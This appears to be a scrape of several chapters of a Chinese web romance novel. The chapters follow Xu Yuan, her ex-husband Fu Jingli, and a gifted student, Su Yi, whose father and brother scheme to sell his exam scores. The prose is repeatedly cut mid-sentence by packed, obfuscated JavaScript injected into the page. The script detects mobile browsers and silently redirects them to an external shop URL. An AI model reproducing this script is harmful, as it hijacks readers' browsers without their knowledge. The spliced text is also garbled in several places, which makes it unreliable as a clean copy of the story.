挂断电话,许愿才开始投入工作。 傅氏的项目有关的工作她已经交代下去,由项目组的员工们先去收集各类资料。 现在的时间,她在翻看盛华的工作报表。 审阅完一份报表,办公室的门被敲响了。 许愿抬头看去,对上沈略探寻的目光。 “你怎么来了?是有什么工作方面的交代?” 许愿问他时,不动声色的合上了盛华的文件,放到一旁。 “傅总让我送套衣服,说是明天要跟你一起参加a市实验一高的演讲会。” 看包装纸盒,就知道是傅氏旗下的高奢品牌礼服。 许愿也只是轻描淡写的扫了眼,继而移开目光。 “一件礼服我还是买得起的,拿回去吧。” 许愿开口直接拒绝。 她和傅京礼之间已经彻底断了关系,现在还继续收傅京礼的东西,像什么样子。 沈略很明显顿了下,目光沉沉的看着她:“许愿,一码归一码,哪怕你跟老大离婚了,可你们现在还是上下级关系,一件衣服而已。” “不只是一件衣服而已。” 许愿看着他开口:“如果单单只是普通的上下级关系,我不会觉得有什么不好。但我和傅京礼之间不只是单纯的上下级,他是我的前夫,离婚后还收到前夫的礼物,不清不楚的,倒像藕断丝连。” “我们都想开始新生活,所以礼服,就不必了。” 许愿唇角含笑的拒绝。 那当然不只是一件礼服。 自许宁毁掉母亲亲手做的礼服起,她就对这些东西有了很深的执念。 她那时就说不会再接受傅京礼任何礼物以及优待,既然要断绝关系,就要真的断得干干净净才行。 沈略像是轻微的叹了口气,似是没想到会走到这一步。 “当初,我以为你和老大能走到最后的。” 他连孩子名字都想好了,送什么礼物都挑好了。 谁能想到仅仅是三年,两人就离婚了。 “你的意思,我会转达给老大的。” 沈略顿了下还是苦口婆心劝了句:“我知道因为昨天的事,你对老大有怨言,但是……我还是希望你能真正认真看待你们之间的关系。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618008|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我很认真。” 许愿站起身,给他倒了杯茶。 两人一起共事三年,早已是无话不谈的好友,许愿也没打算瞒着他。 “我明白你的意思,你是希望我明白傅京礼在圈内的身份地位,让我不要因此在某方面真正得罪他。” 许愿笑了笑:“首先,傅京礼不会因为这点小事做什么,这点自信我还是有的。其次,既然我跟傅京礼已经离婚了,那就是斩断了我们之间的羁绊,再收礼物,倒显得我好像还另有所图一样。” “本来我也不是买不起这些东西,所以也不需要傅京礼的施舍。” 沈略知道再劝也没用了,许愿明摆着早已经想通了。 “只要未来的你不后悔现在的选择就好。” 许愿眼神微暗, 却开口说出认真的话。 “我当然不会后悔。” 已经看清了一切,做好了选择,当然不会后悔。 沈略重重的叹了口气,没再说更多的事,转身离开许愿的办公室,回到总裁办。 见他原封不动的将东西带回来,傅京礼面上并没有更多的表情,只淡淡扫了眼。 沈略点了下头,方才离开。 待沈略离开后,男人才停下敲击键盘输入资料的长指,打开那份包装好的高奢礼盒。 里面是一件红色的旗袍。 一旁放置一个约有三寸的木质盒子,其内是一副红钻耳环。 红钻占比很重,在灯光下散发着鲜妍灼人的明丽光芒。 这是傅京礼在拍卖会上特地拍下的红钻耳环。 他记得两年前许愿翻看过珠宝杂志时,曾提过这红钻耳环有多耀眼夺目,所以知道拍卖会上会有这副耳环时,傅京礼才亲自到现场拍下这副珍珠耳环。 他希望许愿能收下这份礼物,就像是那件事的赔罪。 只是一件件的事情累计下来,这份礼物已经没有多少诚意了。 …… 苏家。 苏浩天乐颠颠的在家中,跟苏正坤提及苏逸的成绩能卖什么样子的高价。 苏正坤整个人听得一愣一愣的。 “你确定这样真的能行?” 第55章 牺牲苏逸 “这事儿真的不会被查出来吗?这可是高考作弊啊。” 苏正坤到底是当老师的人,自然清楚这事情的严重性。 苏浩天毫不在乎的摆摆肩:“爸,你当了这么多年老师,我不信你不知道有些人躲过了规则。那些人有钱有权,他们更不希望这种事情被爆出来的。” 确实是这么回事,苏正坤心里发慌。 但被苏浩天勾住脖子哥俩好似的提到的那一大笔钱蒙蔽了双眼。 只要给的钱够多,牺牲一个苏逸也没事。 两人在客厅密谋,却也不知道放低声音。 这会儿已经是晚上十二点,苏逸放学后去中心城区附近的夜店兼职这个时间才回家。 两人许是以为苏逸今晚不回来,才会如此。 苏逸还穿着夜店的制服,白色的衬衣上还能看到几个口红印。 他就这样面色平静冷淡的靠在门口,听着苏正坤和苏浩天如何密谋设计他。 其实他一直不明白,自己和苏浩天都是苏家的儿子,为什么待遇却是天差地别? 从小到大,他都是被苏正坤忽略的。 甚至自他幼年时,苏正坤就一直在朝着让他玩物丧志的方向去带。 被重点初中录取时,苏正坤说他是个只会死读书的书呆子。 拿到编程大赛金奖时,苏正坤说他只会投机取巧。 在围棋比赛中获奖后,苏正坤说他太过死板。 总归在苏正坤眼中,他好像任何的优点都会变成缺点。 念高中时,家里因为一些缘故没了钱,苏正坤就找到,他苦口婆心提起养他需要花费多少金钱。 他不想继续靠苏正坤,但是这个年纪没有成年能去什么地方工作兼职? 谁肯要他呢? 苏逸想了很久,最终还是在中心城区的夜店找到了合适的工作。 最初是那边的人看他是因家庭原因才来找工作,又觉得他相貌好,所以才给他捏了个假身份。 那时的苏逸太嫩了,纵然身高已经一米八,却还没有张开,有些过于稚嫩,所以只能在夜店负责洗刷酒杯打扫卫生。 可是男生啊,就是一天一个样。 不过短短几个月时间,苏逸就已经彻底长开了。 经过变声期,他的声音多了几分清冷感。 他这样的容貌,浑身的气质都是干净清冷的,最是招有钱的富家小姐喜欢。 经理也是清楚这些,才特地调了苏逸做调酒师。 果然,酒卖得越来越快了。 经理见此,又将他挪去公关部,就是为了推销酒水。 在知道苏逸还会唱歌后,还会偶尔让他上台。 苏逸在这地方工作有两年时间了。 这里的经理心思多,但对苏逸确是没的说,该给他的一分钱都不少,甚至提高了他能拿到的提成奖金,就是上台唱歌拿到的酬劳都比旁人高三倍。 他就一直在这里工作,偶尔会在夜店的员工休息间过夜。 今天太晚了,苏正坤和苏浩天都猜着苏逸今晚不会回来,所以才如此胆大的在客厅提到那些事。 苏逸靠在墙角,身体都已经僵硬了。 他摸出根烟嗅了下,却没抽。 他不会抽这东西,但总也要做做样子的,此刻却是真的烦躁想发泄的。 他顿了片刻,打开门。 苏正坤和苏浩天正聊到了重要时刻,听到开门声,这狼狈为奸的父子二人做贼心虚的抬起头看向苏逸。 两人干笑的打招呼,苏逸捏了捏眉心,没有回应,只自顾自的扶着墙,脸色发白的像是带着呕意匆匆回房。 两人没少见到苏逸这样,苏浩天立刻拍拍胸脯:“没事的,苏逸喝醉酒了,什么都听不到的,他不知道我们的打算。” 话是这么说,但苏正坤总觉得哪里怪怪的。 来不及多想,苏浩天已经跟苏正坤提起能拿到多少钱了,苏正坤索性也不再想那点不对劲了。 苏逸回到房内锁上门,躺到床上才终于算是松了口气。 他内心实在是茫然得厉害。 自己被父亲和哥哥背叛,他们如此利用他怕是根本没有想到他的下场。 他一定要想个办法,绝对不能让这两人的计谋得逞。 这么一折腾,苏逸一整晚都没有睡好。 第二天到了学校,几乎是整个上午都在睡。 因为他的成绩太好,老师们全都睁一只眼闭一只眼。 …… 午后,阳光透过层层叠叠的树叶,在地面上洒下斑驳的光影。 操场上,篮球架下的球网轻轻摆动。 跑道旁,学生们围坐在一起,分享着彼此的回忆与梦想。 远处,校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618009|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门边的公告栏贴满了优秀毕业生的照片: 傅京礼,许愿,江惊蛰,这些人赫然在列。 许愿跟随在傅京礼身边,目光触及优秀毕业生一栏,明显看到自己与傅京礼并不在同一栏。 也是,她和傅京礼之间,在有些人眼中确实是相差甚远。 她微微敛眉跟在男人身边,不发一言的扫过周围的风景。 董校长听人提到傅京礼和许愿已经进了 学校,立刻带着副校长和主任们赶过去迎接。 阳光透过云层,在校园里洒下斑驳的光影。 许愿穿着一条浅绿色的长裙,裸露在外的手臂白皙光滑,在阳光照耀下仿佛肌肤都是莹润有光的。 她的一举一动都透露着自信与从容,仿佛她本身就代表着一种美好,让人不由自主地想要接近。 众人目光都不受控制的落到许愿身上。 而她身旁的男人,同样引人注目。 男人很高,容貌却是俊美中带着难以言喻的冷冽之感。 一双深邃的眼睛隐藏在这对浓眉之下,眼神锐利而深沉,仿佛能够洞察人心。 校长先是看愣了下,片刻后才走上前去介绍身边的副校长等人,董校长亲自带着两人在校园四处转着。 逛到操场时,许愿看到在操场长椅上的那名少年,一眼便看到对方。 即便隔着如此远的距离,仍能感觉到少年面容英俊气质清爽,但给人的感觉总是那么一丝冷淡。 虽然他的身材偏瘦弱,却有着令人难以忽视的存在感。 即使是这个角度,也觉得少年眼神深邃而坚定,仿佛能穿透一切,但在那双清澈的眼眸深处,却藏着一抹不易察觉的破碎感。 他身旁时不时的会多几名女同学送水递零食,甚至还有人带了羽毛球拍,想邀他一起打球。 少年拒绝了,只是扬了扬手中的书本。 书本上是晦涩难懂的各种代码文字,女同学看都看不懂。 只扫了一眼,就觉得眼晕,但也明白少年这是拒绝了她。 倏地,少年不经意间抬头,视线恰好与不远处的许愿目光交汇。 那一刻,时间仿佛静止,周围的声音都变得模糊不清。 他们四目相对,彼此的眼中似乎闪烁着某种难以言喻的情感。 一种似曾相识的错觉,在苏逸内心油然而生。 第56章 熟悉又陌生 苏逸总觉得眼前的这个女人似乎在哪里见过,那种感觉既熟悉又陌生。 周围的人来人往,但他们的视线却没有分开。 董校长见许愿的目光一直停留在苏逸身上,立刻了然的让主任去讲苏逸叫过来,这才向许愿介绍。 “许愿同学,向你介绍下,苏逸,我们实验一高最近的全科天才,最有望成为此次理科状元的尖子班学生。” 提到苏逸,董校长显然也很自豪。 许愿能感觉到董校长是真的对苏逸观感很好,内心颇为欣慰。 “那很好啊。” 许愿笑了笑:“校长,既然您这么看好苏同学,那我这边不妨给点小彩头。苏同学,如果你能在高考中拿到全市前三的好成绩,那么你在大学期间考研期间的所有费用花销,我都可以全包,还会另外送你件礼物,你觉得怎么样?” 这待遇可不是一般的好,几乎是把能给的全都给苏逸了。 苏逸怔了下,似乎不明白许愿为什么如此对他。 董校长是知道许愿和傅京礼不差钱。 现在许愿开口了,他当然愿意为苏逸讨点好处。 “看来你这位学姐欣赏你,还不快谢谢学姐。” 董校长替苏逸开口了。 苏逸眸光闪了下脸上带笑的开口:“谢谢许学姐。” 许愿眉眼弯弯,一副笑得很开心的模样。 讲座时间快开始了,董校长这才带着人前去大礼堂。 这次董校长不仅请来了许愿,还请来了傅京礼,自然是将高一到高三的所有学生都叫过来了。 傅京礼言辞犀利的为这些学生分析利弊,从出身到家庭到智商情商,几乎是一一掰碎了告诉这些学生。 他说得高深,许愿在一旁解释,众人方才听懂了。 演讲会时间不过只有两个多小时,讲完傅京礼根本没有打算多待。 董校长见此,也就没再提请两人吃饭的事情。 一直将人送到学校门口,许愿是最先停下脚步的。 实验一高的门口站着一名长相甜美的女性,她坐在轮椅上,右手上缠了一层厚重的纱布,此刻看到傅京礼,她立刻打招呼摇晃着手。 “阿礼!” 来人,正是许宁。 许愿眸光微微闪烁。 傅京礼微微蹙眉,盯着许宁所在的方向看了几秒,才走过去。 “不在医院好好休养,怎么还特地跑出来?” 傅京礼声音淡淡的开口询问。 “毕竟我也是实验一高出来的学生,听说阿礼你来这里参加什么演讲会,我就想着也来看看。”许宁想都没想的开口。 傅京礼看着她,似是有些不是很理解。 “你也是实验一高的学生?明珠班?” 听到他提起“明珠班”,许宁摸了摸鼻子:“是这个班的。” 那就对了。 许宁的成绩没有多好,实验一高的录取分很高。 可以说在这里的全都是学霸学神级别的人物,许宁可配不上。 巧的是实验一高还有个“明珠班”,这个班级都是艺术生,且分数不达标还能花大价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618010|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱买分进入实验一高,正式成为实验一高明珠班的一员。 可以说,实验一高除了明珠班,其它班级都是正常的一班二班,唯有明珠班被区分开来。 许宁笑着转移话题看向董校长:“校长你还记得我吗,我是许宁啊。” 董校长愣住了。 啊? 许宁是哪个? 她是校长,平日里除了特别优秀聪慧的学生,其他学生是真的记不住啊。 董校长表情都有些古怪,许是觉得许宁太看得起她自己了。 许宁还在尝试跟董校长搭话,傅京礼却抬起头朝着许愿的方向看去。 许愿和苏逸并肩。 少年个子大约要有一米八一,只是身体偏瘦弱,所以看着有些弱不禁风。 少年怀里抱着那本书,目光一直都放在许愿身上。 许愿目光平静不下来,就这样望着他,片刻后才弯了弯唇。 “有什么没办法解决的事情可以联系我,我会帮你的。” 许愿取出自己的名片交到他手中。 苏逸接过名片,不由得收紧自己的手。 “许学姐为什么要对我这么好。” 她对他好得太过了。 旁的人没有的他全都有,旁的人有的他也有,此刻甚至将私人的联系方式也交给他,让他隐隐有种许愿想要罩着他维护他的错觉。 许愿偏头,目光落在他脸上,轻笑。 “大概是因为我们有缘吧。” 缘分的事情谁说得清呢,就当他们之间有缘吧。 第57章 小鲜肉 苏逸看着许愿,接过名片道了声谢。 许愿站在梧桐树下,风悠悠吹过,树叶被吹得簌簌作响,缓缓散落飘散在她肩上。 她乌黑的长发被吹散在肩侧,额前的发偶尔遮住那双清冷中带着几分温婉的黑眸。 她唇角是带着笑的,那样温柔的目光落在苏逸的脸上。 “有事,可以随时联系我。” 许愿留下这句话,方才转身。 苏逸微微垂眸,低头看着许愿递来的名片。 傅氏项目组经理【许愿】。 这个名字,起得真好。 如果她真的能像她的名字那样,能满足他内心的愿望就好了。 他希望能丢掉过去这段不可言说的人生,然后开始一段新的生活。 但是…… 只是初次见面的学姐,凭什么奢求对方真的能拯救自己。 深陷泥潭的人,必须要有自救的能力。 苏逸握紧手中的名片,目光随着许愿移动,沉默的站在原地,一直未移开。 “你的运气够好,得了许愿的眼缘。” 董校长拍了拍苏逸的肩膀,见他此刻还满脸懵懂方才开口解释。 “许愿在a大跟各位教授关系都很不错,人脉圈很广。以后你进了a大,自然有人照拂。不过你现在被许愿相中,怕是大一期间就能进行一些小规模的商业演练,她自然会给你机会。” “校长,她只是看在您的面子上,随意给了我一张名片。” 苏逸并不信这些。 他一个还未参加高考没有成年的人,凭什么被许愿相中? 他平日里可不会没事总做梦。 他此刻最先要做的,就是阻止自己被逼替考的事。 如果那两人真的打算做这件事,很可能根本不会告诉他,然后在后期换了他的试卷,到最后,成绩彻底作废。 而他妄想靠着高考逃离苏家,却会因为此次高考,再一次被苏正坤和苏浩天控制。 苏逸眸光沉重,片刻后才下定决心。 他是一定要揭穿那两人的。 只是现在,还不是时候。 …… 车上,开车的是沈略。 沈略一通跟来,却并未进入实验一高,并不知道许愿给苏逸留了一张名片,只是隐约能感觉到许愿来了一趟实验一高,心情明显变好了许多。 “是见了以前的老师所以很开心?”沈略跟她关系好,随口问了句。 不等许愿开口,却见被傅京礼推着轮椅而来的许宁就已经柔声道:“姐姐以前成绩那么好,老师们都记得她呢。不像我,成绩不够好,所以校长看到我都要反应一会儿。” 也不知道她为什么这么突然的就插话。 “姐姐,你跟那位高中生是关系很好吗?还是你突然喜欢这样清俊的小鲜肉了。” “如果真的是这样,那姐姐的眼光真的很好了,那名小少年长得实在很好,也算是配得上姐姐,总比盛景炎那个浪荡二世祖好多啦。” 许愿眼神毫无波澜,甚至理都未理许宁。 许宁一个人在这里唱了独角戏,也不觉得尴尬。 分明不久前才在病房被许愿嘲讽,此刻却又好像没事人一样开始接近许愿,只是不知道内心到底是存了点什么心思。 许愿迟迟未开口,根本没有理她,许宁有些尴尬。 沈略扑哧笑了一声,这笑意在车厢内甚是明显突出。 许宁整个人却像是感受不到这尴尬的氛围一般,还要揪着许愿开口。 “姐姐,你怎么不理我啊?” 她像是要追问到底似的。 许愿是真觉得烦。 她被烦得受不住,冷笑的转过头先是看向傅京礼冷声道:“既然你不能管好你的情人,那就不要怪我说难听话。” 许愿看向许宁,嘲讽的话随之而出。 “许宁,我希望你时时刻刻记得,我是许镇江和苏青莲的女儿,你是许镇江和其他女人出轨诞生的产物。纵然我们是同一个父亲,但你的出生,本身对我和苏青莲女士就是一种伤害。” “如果你是个正常人,就该有几分的羞耻心,然后离我远些,而不是像现在,甩都甩不开。” “你一直口口声声的喊我姐姐,我希望你明白,你这样的身份不配喊我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618011|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐,而我也永远不会承认你。” 她这话才出口,许宁的脸色都变得苍白,并泛着点委屈之意。 “你做出这副可怜的模样给谁看?” 许愿嘲讽开口:“既然像只苍蝇似的在人耳边嗡嗡直叫,怎么还会因为别人几句话就受伤?你装得太过、演得太过了。” 说到这,许愿才瞥向身旁的傅京礼,终于像是想到什么似的:“实在不好意思,我忘记了车上有你的观众,时时刻刻都喜欢看你在这里演戏。” 许愿的嘲意实在太过明显。 许宁脸上的委屈之意愈发明显,傅京礼表情漠然的看着这一幕,似是并不打算参与进来。 “姐姐,我只是看你对那个少年有兴趣,所以想多问两句。”她委委屈屈的解释。 “你真的是聋子吗?我说了,别喊我姐姐。”许愿声音愈发冷了。 “还有,他还是个未成年,是个即将参加高考的未成年。如果你有良知的话,就不会说出这种毫无逻辑,甚至对旁人造成困扰的话。” 许愿声音实在是冷。 许宁这个女人是真的很会演。 她今天在a大,明显就是为了挑衅许愿。 此刻提到苏逸,不过是故意在傅京礼面前告诉傅京礼,他们离婚后,她的男人没有断过。 这样的手段,实在是引人发笑。 许宁眼神闪了闪,委屈的望向傅京礼。 男人只是微微敛眉便移开目光,淡声:“我让沈略送你回医院,没事不要出来乱跑。” 其实男人更想说的还有,也不要随意开口说话。 只是此刻许宁已经被许愿如此刺激了,他索性就没有再说更多。 听到命令的沈略,握着方向盘的手都捏紧了几分。 不过到底没有反对,直接从位置上起来,正要推走许宁。 许宁却眼睛发红的望着傅京礼。 “阿礼,那你记得要来看我,我在医院也会很想你的。” 真的是满腹心机,时时刻刻都想着勾着男人。 沈略内心啧了一声,立刻推着轮椅离开,省得继续留在这里给许愿添堵了。 第58章 和苏逸什么关系 车内一时过于寂静,只剩许愿和傅京礼。 许愿微微阖上眼眸,似乎并没打算说什么。 片刻后,她做到驾驶座上启动车子。 这是傅京礼开的一辆新车,黑色的迈巴赫,已经换掉她送的那辆蓝色的卡宴。 一路上,两人一直都没有开口,车子一直开到了傅家老宅。 “许愿。” 傅京礼在她下车前唤住她,开口。 “你和苏逸是什么关系?” 许愿的手顿了下,片刻后,她的唇角勾勒出一抹明显的浅淡笑意。 “我和苏逸是什么关系,似乎与傅总无关。” “傅总只需要关注您身边的人就够了。” 许愿下车,男人没再提及苏逸,只淡淡道:“既然来了老宅,不如一起进去。” 许愿觉得这话有些可笑。 她打开车门,正想用手机软件叫个车离开,却正碰到遛弯回来的傅老爷子和管家。 她脸上立刻挂上得体的笑容,喊了声:“爷爷。” 老爷子看到许愿,立刻笑了。 “阿愿,你回来啦。” 老爷子赶紧嘱咐管家:“快去让今晚厨房备上阿愿喜欢吃的饭菜。” 老爷子是真的很喜欢许愿,见她来,显然很高兴。 只是许愿现在算是进退两难,本打算回自己的公寓,却只能被逼停在此刻随着傅京礼一起回老宅。 她捏了捏眉心。 这件事都怪她自己,若非是那时惯性的为傅京礼开车,也不会如此尴尬。 早知道,她就该那时在实验一高门口叫车的。 不过即便如此,既然已经来了老宅,她也不会真的让老爷子看出端倪。 饭桌上,她也是一直在哄老爷子开心,偶尔也会给傅京礼夹菜,只不过全是在演。 许愿自己也觉得很有意思。 毕竟不久前在老宅,她是真的很想为傅京礼布菜夹菜照顾他。 可现在两人已经离婚了,心境也全然不同,那时的真心实意都变成了此刻的敷衍。 只是再如何敷衍,习惯使然,她夹的全部都是傅京礼爱吃的。 老爷子看得脸上都是笑意,但见傅京礼却是一如既往面无表情的冷淡。 老爷子看了傅京礼一眼。 傅京礼顿了下,明白老爷子的意思是让他给许愿夹菜。 可是……许愿喜欢吃什么? 他有片刻的迟疑,最后夹了一块烧茄子放到她的餐盘中。 只是这举动,让许愿和老爷子都怔住了。 许愿最讨厌吃的就是茄子,甚至会觉得恶心。 傅老爷子脸色微变,正要出声训斥。 许愿却柔柔一笑,夹起那块烧茄子放入口中。 不能接受的味道和口感在口中蔓延,许愿强逼着自己咽下口中那块茄子,带着笑开口。 “爷爷,这茄子味道不错。” 傅老爷子整个人像是轻微的叹了口气,没再说什么。 许愿慢条斯理的喝了口茶水,清了清嘴巴里的味道。 或许是因为她真的讨厌茄子,所以腹中的孩子也跟着厌恶,在她肚子里面像是在拳打脚踢似的乱动。 许愿也怕被人看出端倪,微不可察的捂住小腹,从包中取出手机,做出一副自己有要紧事要处理的模样,匆忙离去,只余背影。 傅京礼看着她匆忙离去的背影,眸色愈深。 待她离开,傅老爷子立刻放下碗筷,声音都透着明显的凉意。 “阿愿不喜欢吃茄子,你不知道吗?” 这件事他是真的不知道,或许说,真的是此时此刻才得知。 “你喜欢吃什么,阿愿全部都知道。你看看阿愿给你夹菜,给你剥虾,哪一个不是你爱吃的?就连剥好的虾,都不忘给你蘸好你喜欢的调料。” “你倒好,就夹这么一道菜,还偏偏是阿愿最不能接受的茄子。” “阿愿一直都很讨厌烧茄子这道菜。” 这是傅京礼完全没想到的。 他眸光微微闪烁,片刻后站起身,并没有说更多的话,只是脸色算不得好看。 回到房间,就见许愿在不停干呕。 他就坐在沙发上,一言不发,直到许愿整理好从洗手间出来,才看到她此刻过于苍白的面色和微微发红的眼眸。 她是真的很难受了。 傅京礼的眸光再度跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618012|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着闪了闪。 “不喜欢吃茄子,为什么还要硬吃?” 他声音带着冷意。 “许愿,我没逼过你什么,为什么还要逼着自己委屈自己。” 男人对此并不理解。 许愿扶着墙看向男人,她掌心的纱布被水浸湿,掌心的伤口再度渗出鲜血。 刚才为了洗脸,她的眼镜被摘下,额角的伤口也显露出来。 男人一抬眸,就看到了她明显的伤口。 “爷爷知道我不喜欢吃茄子,你在这时候夹了茄子,如果我不吃的话,就好像是告诉爷爷我们之间的感情有多薄弱,爷爷难道不会猜到吗?” 许愿能感受到掌心的疼痛感。 她低着头,看到沾了水的纱布,眉头轻微皱起。 她轻笑一声,取出床头柜中的医药箱,自己为自己消毒,还不忘回应傅京礼方才的话。 “其实我讨厌做很多事,但是跟在你身边也已经做遍这些事了,我也已经习惯了,这次不过是吃了块茄子,也没什么大不了的。” 许愿声音带着笑,像是真的觉得无所谓。 傅京礼看着她,深沉的目光一直落在她身上。 许久,男人走过去,取走她手中沾了消毒水的医用镊子,在她伤处用药棉很轻的擦拭着。 掌心的伤口约有八厘米这么长,几乎快要涵盖她整个掌心。 只是这样轻的力道,仿佛都能听到她很轻的喘息声,身体都在轻颤的,像是能感觉到清晰的疼痛。 男人动作愈发轻了。 “许愿。” “我不希望你勉强自己。” 傅京礼看着面前的女人,开口:“不喜欢就不要吃,哪怕爷爷真的生气,那也是我应该承受的,是我自己的失误,不该由你来承受后续的代价。” 他清楚的明白这一切是他的错。 结婚三年,不知道她喜欢什么颜色喜欢什么菜,甚至还在餐桌上犯这样低级的错误,实在是引人发笑。 他放缓声音,能够让她听清楚自己的话。 “我不是在勉强。” 许愿看着他,开口解释。 “我只是不希望爷爷从一些事情中猜出真相。” 第59章 不要任性 “爷爷看着身体硬朗,其实心脏一直都不好。” “爷爷那么聪明,如果从这些事情中猜出我们现今的关系,我们能如何应对?难道眼睁睁看着爷爷受刺激心脏病发作,住院吗?” “爷爷那么疼我,我做不到。所以在这种事情上,我宁愿委屈自己。” 说到这,许愿又笑了。 “你不也是因为这个,在委屈许宁吗?” 因为担心老爷子受刺激,所以根本不敢告诉老爷子两人已经离婚的事实。 还在此刻带她回家演戏,委屈许宁,甚至都没有给她一个名分。 傅京礼沉默。 “许宁。” 这个名字,此刻在他听来都尤为刺耳。 “抱歉,很多事都是我的问题。”男人开口。 他是温柔的,只是许愿并没有听进心中去。 他们之间已经没有可能了,所以不再给自己找什么可笑的借口的了。 他再温柔,也不会属于自己。 许愿微微沉下眼眸,从男人手中扯回自己的手。 “我自己可以的。” “许愿,不要任性。” 男人皱眉,却对上许愿含笑的那双眼。 “我不是任性。” 许愿低头摩挲着那道伤痕。 “我只是觉得不该由你来做这件事。” “从各个方面来讲,都不该是你来为我包扎伤口。” 若是两人还未离婚,傅京礼如此温柔贴心,许愿肯定会很开心。 甚至就算掌心留下疤痕,她都会认为这是他们爱情的见证,是勋章。 但是…… 傅京礼现在是许宁的爱人,是她的前夫,甚至是许镇江生日宴会上真正伤她最深的人,这个伤口大部分原因,都是因他而起。 因他留下的疤痕,难道还要由他包扎吗? 这么深长的伤痕,是注定要在掌心留下一道疤了。 她不希望以后自己低头看到这道疤痕,就想到傅京礼,这太不应该了。 “我们之间已经结束了,就不该做更多暧昧的或者亲近的事。” “没有清清白白的男性会为另一名女性如此温柔贴心的包扎伤口,从哪方面来讲,这都不对。” 许愿看着傅京礼,一字一顿。 傅京礼沉默。 他当然能明白许愿的意思,她这是再一次重复的强调他们二人的关系,已经彻底没可能。 许愿没再看男人,只是低头自顾自的包扎伤口。 房间内一时静下来,静到只能听到彼此之间的呼吸声。 直到许愿的手机响起,她才如蒙大赦地取出手机。 待看到微信来电的人是盛景炎,她微顿了下,还是接通的电话。 “晚上好啊许总。” 盛景炎一开口,就调侃似的打招呼。 许愿眼眸微微一闪,她语气认真,也像是在警告。 “我在傅家老宅。” “傅家”二字,就让盛景炎浑身那副松散的劲儿都引去了。 本来懒懒散散的躺靠在软椅上,现在他立刻坐直了身体。 “老爷子在你身边?不如,让我跟老爷子打声招呼?” 他还是懂礼数的。 许愿笑着摇头:“我和傅京礼在房间。” 在房间,在哪个房间? 自然是许愿和傅京礼两人共同的房间。 盛景炎眼神都变得有些犀利危险。 “傅京礼,你们都已经离婚了,你为什么还要求着许愿跟你一起回傅家老宅?讨好傅老爷子,陪你演戏?” “你倒是有够心机的啊,自己不要也不准别人追求!你不要太过分了!” 盛景炎语气里都带几分明显的外露深意。 他再度直白的开口告诉傅京礼,他在追求许愿。 他确实是在追求许愿,鲜花也好钻石也好,甚至拥有了金钱的他还在发起时间攻略,想要一步步侵略进入许愿的生活之中。 许愿面色微变,似乎也没想到会变成现在这种局面。 不等许愿挂断电话,手机就已经被傅京礼夺走。 “盛景炎,许愿还没有沦落到挑选你做下一任的时候,你还不配做他的追求者。” 傅京礼声音很冷,这话其实明显是在嘲讽盛景炎先前玩得太开的那段时光。 盛景炎跟着嗤笑一声。 “我再怎么样,也要比某些看似满身光环、实则连妻子都护不住的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 